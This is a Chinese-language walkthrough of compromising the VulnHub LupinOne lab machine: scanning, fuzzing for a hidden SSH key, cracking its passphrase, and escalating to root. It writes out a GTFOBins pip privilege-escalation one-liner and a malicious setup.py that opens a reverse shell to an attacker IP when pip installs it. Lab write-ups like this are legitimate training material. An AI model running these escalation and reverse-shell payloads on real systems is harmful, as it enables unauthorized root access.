Lupin-One靶机入侵
1、环境搭建
下载地址:https://www.vulnhub.com/entry/empire-lupinone,750/
下载后用 VMware 或者 VirtualBox 打开,并配置好网卡,靶机与攻击机应置于同一网络下,靶机默认是桥接模式,能用攻击机连接到就行。这里连接到虚拟网卡1。
2、信息收集
-
主机发现
使用nmap进行主机探测(-sP参数也可):nmap -sn 192.168.80.1/24
192.168.80.140,为靶机ip,也可以使用Kali中的arp-scan工具扫描:arp-scan 192.168.80.1/24
-
端口扫描
使用nmap扫描主机服务、端口情况(-p-等价于-p 1-65535):nmap -p- -A 192.168.80.140
发现开启了22和80端口 -
web端进一步信息收集
22端口可以尝试爆破,但这种靶机一般都能在找到线索。所以我们先对80端口进行信息收集。
初步发现网站采用Apache搭建,无其他信息
3、漏洞探测
-
页面源代码
只有一句鼓励的话,没有提示 -
目录扫描
对扫到的目录进行访问,在root.txt中找到线索
尝试访问/~myfiles,页面404
页面源代码中有一句鼓励话
将~加入到路径中,继续扫描目录
找到~secret,获得提示
-
爆破私钥文件
私钥文件一般使用格式:txt、html、pub、cer、pem、der、key等等
这里爆破使用burp,根据提示这个私钥可能是一个隐藏文件
成功找到私钥
-
破解私钥得到密码
先判断私钥采用了扫描加密方法,得到结果base58的概率最大。https://www.dcode.fr/identification-chiffrement
base58解密后保存到mycer文件中
使用ssh2john转换为txt文本:python /usr/share/john/ssh2john.py mycer >crack.txt
根据前文中的提示,使用这个字典爆破密码
得到密码:P@55w0rd!
猜测用户应该是前面的提示留名:icex64 -
ssh登录
登录失败,尝试xshell登录
登录成功
4、提权
-
sudo -l查看可免密执行的具有root权限的命令
-
查看heist.py文件寻找线索
引用了webbrowser,找到该文件,跟进在脚本中添加这条命令,使用nano命令打开文件
-
执行命令提权到arsene用户
-
继续sudo -l查看
pip具有root权限
-
提权到root
提权辅助网站:https://gtfobins.github.io/
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF
提权成功
-
提权到root方法二
通过反弹shell方式连接
通过这种方式,会遇到权限问题,需要再"/home/arsene"目录下创建一个名为“setup.py”的文件
nano setup.py 写下如下脚本 from setuptools import setup from setuptools.command.install import install import os, socket, subprocess class CustomInstall(install): def run(self): install.run(self) s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("192.168.10.131",4444)) #此处是kali ip地址 os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"]) setup(name='FakePip', version='0.0.1', description='Reverse shell', url='xx.xx.xx.xx', author='nathan', author_email='xx@xx', license='MIT', zip_safe=False, cmdclass={'install': CustomInstall})
kail中先开启监听:nc -lvvp
执行命令:sudo pip install . --upgrade
接收到shell,提权成功